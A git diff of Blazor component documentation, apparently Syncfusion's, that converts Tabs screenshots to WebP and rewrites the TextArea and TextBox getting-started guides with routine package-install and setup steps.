Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-popup (1).webp differ
diff --git a/blazor/tabs/images/blazor-tabs-popup.gif b/blazor/tabs/images/blazor-tabs-popup.gif
deleted file mode 100644
index 986e861f12..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-popup.gif and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-popup.png b/blazor/tabs/images/blazor-tabs-popup.png
deleted file mode 100644
index fbb54a9037..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-popup.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-popup.webp b/blazor/tabs/images/blazor-tabs-popup.webp
new file mode 100644
index 0000000000..4acf106428
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-popup.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-scroll.gif b/blazor/tabs/images/blazor-tabs-scroll.gif
deleted file mode 100644
index a0b6b8a5bb..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-scroll.gif and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-scroll.webp b/blazor/tabs/images/blazor-tabs-scroll.webp
new file mode 100644
index 0000000000..94c08a1bf3
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-scroll.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-scrolling.png b/blazor/tabs/images/blazor-tabs-scrolling.png
deleted file mode 100644
index 932de34b95..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-scrolling.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-scrolling.webp b/blazor/tabs/images/blazor-tabs-scrolling.webp
new file mode 100644
index 0000000000..d2b4f73aaf
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-scrolling.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-tabindex-tabitem.gif b/blazor/tabs/images/blazor-tabs-tabindex-tabitem.gif
deleted file mode 100644
index 2b1725f051..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-tabindex-tabitem.gif and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-tabindex-tabitem.webp b/blazor/tabs/images/blazor-tabs-tabindex-tabitem.webp
new file mode 100644
index 0000000000..433935af96
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-tabindex-tabitem.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-template.png b/blazor/tabs/images/blazor-tabs-template.png
deleted file mode 100644
index 1b820e40d0..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-template.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-template.webp b/blazor/tabs/images/blazor-tabs-template.webp
new file mode 100644
index 0000000000..c2d35b2044
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-template.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-touch-scroll.gif b/blazor/tabs/images/blazor-tabs-touch-scroll.gif
deleted file mode 100644
index a5a6743a2c..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-touch-scroll.gif and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-touch-scroll.webp b/blazor/tabs/images/blazor-tabs-touch-scroll.webp
new file mode 100644
index 0000000000..c6b66807e8
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-touch-scroll.webp differ
diff --git a/blazor/tabs/images/blazor-tabs-wizard.png b/blazor/tabs/images/blazor-tabs-wizard.png
deleted file mode 100644
index c2ac60d025..0000000000
Binary files a/blazor/tabs/images/blazor-tabs-wizard.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs-wizard.webp b/blazor/tabs/images/blazor-tabs-wizard.webp
new file mode 100644
index 0000000000..933b0a4e6e
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs-wizard.webp differ
diff --git a/blazor/tabs/images/blazor-tabs.png b/blazor/tabs/images/blazor-tabs.png
deleted file mode 100644
index 0c9238d2d4..0000000000
Binary files a/blazor/tabs/images/blazor-tabs.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-tabs.webp b/blazor/tabs/images/blazor-tabs.webp
new file mode 100644
index 0000000000..3b0f3a774d
Binary files /dev/null and b/blazor/tabs/images/blazor-tabs.webp differ
diff --git a/blazor/tabs/images/blazor-wasm-app-template.png b/blazor/tabs/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/tabs/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/tabs/images/blazor-wasm-app-template.webp b/blazor/tabs/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/tabs/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/tabs/images/contenttemplate.png b/blazor/tabs/images/contenttemplate.png
deleted file mode 100644
index a5f788642b..0000000000
Binary files a/blazor/tabs/images/contenttemplate.png and /dev/null differ
diff --git a/blazor/tabs/images/contenttemplate.webp b/blazor/tabs/images/contenttemplate.webp
new file mode 100644
index 0000000000..a893f2fd95
Binary files /dev/null and b/blazor/tabs/images/contenttemplate.webp differ
diff --git a/blazor/tabs/images/dynamicTab.png b/blazor/tabs/images/dynamicTab.png
deleted file mode 100644
index 899d6fbf06..0000000000
Binary files a/blazor/tabs/images/dynamicTab.png and /dev/null differ
diff --git a/blazor/tabs/images/dynamicTab.webp b/blazor/tabs/images/dynamicTab.webp
new file mode 100644
index 0000000000..522cfcc200
Binary files /dev/null and b/blazor/tabs/images/dynamicTab.webp differ
diff --git a/blazor/tabs/images/gettingstarted.png b/blazor/tabs/images/gettingstarted.png
deleted file mode 100644
index af40488e5c..0000000000
Binary files a/blazor/tabs/images/gettingstarted.png and /dev/null differ
diff --git a/blazor/tabs/images/gettingstarted.webp b/blazor/tabs/images/gettingstarted.webp
new file mode 100644
index 0000000000..3e337669c4
Binary files /dev/null and b/blazor/tabs/images/gettingstarted.webp differ
diff --git a/blazor/tabs/images/height.PNG b/blazor/tabs/images/height.PNG
deleted file mode 100644
index 38d90da726..0000000000
Binary files a/blazor/tabs/images/height.PNG and /dev/null differ
diff --git a/blazor/tabs/images/height.webp b/blazor/tabs/images/height.webp
new file mode 100644
index 0000000000..6f7967666e
Binary files /dev/null and b/blazor/tabs/images/height.webp differ
diff --git a/blazor/tabs/images/laura.png b/blazor/tabs/images/laura.png
deleted file mode 100644
index c2166f16a5..0000000000
Binary files a/blazor/tabs/images/laura.png and /dev/null differ
diff --git a/blazor/tabs/images/laura.webp b/blazor/tabs/images/laura.webp
new file mode 100644
index 0000000000..ec7f90f5b9
Binary files /dev/null and b/blazor/tabs/images/laura.webp differ
diff --git a/blazor/tabs/images/localization.png b/blazor/tabs/images/localization.png
deleted file mode 100644
index f12c5e071c..0000000000
Binary files a/blazor/tabs/images/localization.png and /dev/null differ
diff --git a/blazor/tabs/images/localization.webp b/blazor/tabs/images/localization.webp
new file mode 100644
index 0000000000..5e1c0a320b
Binary files /dev/null and b/blazor/tabs/images/localization.webp differ
diff --git a/blazor/tabs/images/margeret.png b/blazor/tabs/images/margeret.png
deleted file mode 100644
index 02403629be..0000000000
Binary files a/blazor/tabs/images/margeret.png and /dev/null differ
diff --git a/blazor/tabs/images/margeret.webp b/blazor/tabs/images/margeret.webp
new file mode 100644
index 0000000000..d699afa317
Binary files /dev/null and b/blazor/tabs/images/margeret.webp differ
diff --git a/blazor/tabs/images/viewbag.png b/blazor/tabs/images/viewbag.png
deleted file mode 100644
index 6b5c4a1ed9..0000000000
Binary files a/blazor/tabs/images/viewbag.png and /dev/null differ
diff --git a/blazor/tabs/images/viewbag.webp b/blazor/tabs/images/viewbag.webp
new file mode 100644
index 0000000000..f12e23880c
Binary files /dev/null and b/blazor/tabs/images/viewbag.webp differ
diff --git a/blazor/tabs/orientation.md b/blazor/tabs/orientation.md
index 51b5210e98..486c7e2ee5 100644
--- a/blazor/tabs/orientation.md
+++ b/blazor/tabs/orientation.md
@@ -158,4 +158,4 @@ It is also adaptable to the available space when the tab items exceed the view s
 </style>
 ```
 
-![Blazor Tabs with Horizontal Orientation](./images/blazor-tabs-orientation.gif)
\ No newline at end of file
+![Blazor Tabs with Horizontal Orientation](./images/blazor-tabs-orientation.webp)
\ No newline at end of file
diff --git a/blazor/tabs/responsive-modes.md b/blazor/tabs/responsive-modes.md
index 1719ea1ffa..5774c1a752 100644
--- a/blazor/tabs/responsive-modes.md
+++ b/blazor/tabs/responsive-modes.md
@@ -78,7 +78,7 @@ The default [OverflowMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blaz
 </SfTab>
 ```
 
-![Scrolling in Blazor Tabs](./images/blazor-tabs-scrolling.png)
+![Scrolling in Blazor Tabs](./images/blazor-tabs-scrolling.webp)
 
 ## Popup
 
@@ -139,4 +139,4 @@ The `Popup` is the another type of [OverflowMode](https://help.syncfusion.com/cr
 </SfTab>
 ```
 
-![Blazor Tabs with Popup](./images/blazor-tabs-popup.png)
\ No newline at end of file
+![Blazor Tabs with Popup](./images/blazor-tabs-popup.webp)
\ No newline at end of file
diff --git a/blazor/tabs/style.md b/blazor/tabs/style.md
index db02d43818..81324601c1 100644
--- a/blazor/tabs/style.md
+++ b/blazor/tabs/style.md
@@ -23,7 +23,7 @@ Use the following CSS to customize the Tab.
 
 ```
 
-![Customize Tab](./images/blazor-tabs-customize.png)
+![Customize Tab](./images/blazor-tabs-customize.webp)
 
 ## Customizing the Tab items
 
@@ -38,7 +38,7 @@ Use the following CSS to customize the header items of Tab.
 
 ```
 
-![Customize Tab](./images/blazor-tabs-customize-items.png)
+![Customize Tab](./images/blazor-tabs-customize-items.webp)
 
 Use the following CSS to customize the content items of Tab.
 
@@ -51,7 +51,7 @@ Use the following CSS to customize the content items of Tab.
 
 ```
 
-![Customize Tab](./images/blazor-tabs-customize-content.png)
+![Customize Tab](./images/blazor-tabs-customize-content.webp)
 
 ## Customizing Tab's header
 
@@ -65,7 +65,7 @@ Use the following CSS to customize the header of Tab control.
 
 ```
 
-![Customize Tab](./images/blazor-tabs-header-customization.png)
+![Customize Tab](./images/blazor-tabs-header-customization.webp)
 
 ## Customizing Tab's header icon
 
@@ -79,7 +79,7 @@ Use the following CSS to customize the header item icon of Tab control.
 
 ```
 
-![Customize Tab](./images/blazor-tabs-header-icon-customization.png)
+![Customize Tab](./images/blazor-tabs-header-icon-customization.webp)
 
 ## Customizing Tab's content
 
@@ -93,7 +93,7 @@ Use the following CSS to customize the content of Tab control.
 
 ```
 
-![Customize Tab](./images/blazor-tabs-customize-content-background.png)
+![Customize Tab](./images/blazor-tabs-customize-content-background.webp)
 
 ## Customizing the hover state of Tab control
 
@@ -107,7 +107,7 @@ Use the following CSS to customize the tab item when hovering.
 
 ```
 
-![Customize Tab](./images/blazor-tabs-hover-customization.png)
+![Customize Tab](./images/blazor-tabs-hover-customization.webp)
 
 Use the following CSS to customize the tab item popup icon when hovering.
 
@@ -132,7 +132,7 @@ Use the following CSS to customize the selected tab item.
 
 ```
 
-![Customize Tab](./images/blazor-tabs-hover-customization.png)
+![Customize Tab](./images/blazor-tabs-hover-customization.webp)
 
 Use the following CSS to customize the selected tab item text and icon.
 
@@ -145,4 +145,4 @@ Use the following CSS to customize the selected tab item text and icon.
 
 ```
 
-![Customize Tab](./images/blazor-active-tabs-textIcon-customize.png)
\ No newline at end of file
+![Customize Tab](./images/blazor-active-tabs-textIcon-customize.webp)
\ No newline at end of file
diff --git a/blazor/textarea/getting-started.md b/blazor/textarea/getting-started.md
index 969ad6e54f..cb6fa3cb90 100644
--- a/blazor/textarea/getting-started.md
+++ b/blazor/textarea/getting-started.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor TextArea Component
 
-This guide explains how to add the [Blazor TextArea](https://www.syncfusion.com/blazor-components/blazor-textarea) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This guide explains how to add the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TextArea](https://www.syncfusion.com/blazor-components/blazor-textarea) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -23,23 +23,6 @@ This guide explains how to add the [Blazor TextArea](https://www.syncfusion.com/
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the App
-
-To add the **Blazor TextArea** component, open NuGet Package Manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), then search and install [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -52,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -65,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following commands to install the [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Inputs -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -103,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -114,29 +77,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-To add the **Blazor TextArea** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endtabcontent %}
+## Add import namespaces
 
-{% endtabcontents %}
-
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Inputs` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Inputs` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -147,51 +111,42 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
 {% endtabs %}
 
-
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor TextArea component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TextArea component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TextArea component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfTextArea Placeholder='Add your Comments'></SfTextArea>
 
@@ -205,7 +160,7 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TextArea compone
 The floating label displays the placeholder as a label above the TextArea when focused or when a value is present. Configure this behavior using the [FloatLabelType](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Inputs.SfTextArea.html#Syncfusion_Blazor_Inputs_SfTextArea_FloatLabelType) property.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfTextArea Placeholder='Add your Comments' FloatLabelType='@FloatLabelType.Auto'></SfTextArea>
 
@@ -214,7 +169,7 @@ The floating label displays the placeholder as a label above the TextArea when f
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/VXLTjdiKszhkOkia?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TextArea with Floating Label](./images/blazor-textarea-float-label.png)" %}
 
-## See Also
+## See also
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in .NET Core CLI](../getting-started/blazor-webassembly-dotnet-cli)
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Server-side in Visual Studio](../getting-started/blazor-server-side-visual-studio)
diff --git a/blazor/textbox/getting-started-webapp.md b/blazor/textbox/getting-started-webapp.md
index dd2c5a1256..33db65d35e 100644
--- a/blazor/textbox/getting-started-webapp.md
+++ b/blazor/textbox/getting-started-webapp.md
@@ -167,6 +167,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Inputs
+
 <SfTextBox Placeholder='First Name'></SfTextBox>
 
 {% endhighlight %}
@@ -221,6 +223,8 @@ The floating label moves the label above the TextBox when the control is focused
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Inputs
+
 <SfTextBox Placeholder='First Name' FloatLabelType='@FloatLabelType.Auto'></SfTextBox>
 
 {% endhighlight %}
diff --git a/blazor/textbox/getting-started-with-maui-app.md b/blazor/textbox/getting-started-with-maui-app.md
index dc4ef5140d..f8f9ad5f6b 100644
--- a/blazor/textbox/getting-started-with-maui-app.md
+++ b/blazor/textbox/getting-started-with-maui-app.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor TextBox component in MAUI App
 
-This guide walks through integrating the Syncfusion® Blazor TextBox component into a .NET MAUI Blazor app using both Visual Studio and Visual Studio Code.
+This section provides a step-by-step guide to integrating the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TextBox](https://www.syncfusion.com/blazor-components/blazor-textbox) component in a Blazor MAUI App using both [Visual Studio](https://visualstudio.microsoft.com/vs/) and [Visual Studio Code](https://code.visualstudio.com/).
 
 {% tabcontents %}
 
@@ -17,30 +17,11 @@ This guide walks through integrating the Syncfusion® Blazor TextBox component i
 
 ## Prerequisites
 
-To use the .NET MAUI project templates, install the Mobile development with .NET workload in Visual Studio. For details, see the Microsoft installation guide and the Syncfusion® Blazor Extension resources:
-- Microsoft: Get started with .NET MAUI on Visual Studio
-- Syncfusion: Visual Studio integration and Template Studio
-
-For more details, refer to [here](https://learn.microsoft.com/en-us/dotnet/MAUI/get-started/installation?tabs=vswin) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio).
+To use the MAUI project templates, install the Mobile development with the .NET extension for Visual Studio. For more details, refer to [here](https://learn.microsoft.com/en-us/dotnet/MAUI/get-started/installation?tabs=vswin) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio).
 
 ## Create a new Blazor MAUI App in Visual Studio
 
-Create a Blazor MAUI App using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the app
-
-To add the Blazor TextBox component to the app, open the NuGet Package Manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), then search for and install Syncfusion.Blazor.Inputs and Syncfusion.Blazor.Themes.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available on NuGet. Refer to the NuGet packages topic for the list of available packages and component details: [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor) and [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages).
+Create a Blazor MAUI App using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
 {% endtabcontent %}
 
@@ -52,33 +33,43 @@ To use the MAUI project templates, install the Mobile development with the .NET
 
 ## Create a new Blazor MAUI App in Visual Studio Code
 
-You can create a Blazor MAUI App using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
-
-## Install Blazor Inputs and Themes NuGet in the App
+Create a Blazor MAUI App using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
-To add **Blazor TextBox**  component in the app, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
+Alternatively, create a MAUI application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
+{% highlight c# tabtitle="Blazor MAUI App" %}
 
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Inputs -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
+dotnet new maui-blazor -o MauiBlazorApp
+cd MauiBlazorApp
 
 {% endhighlight %}
-
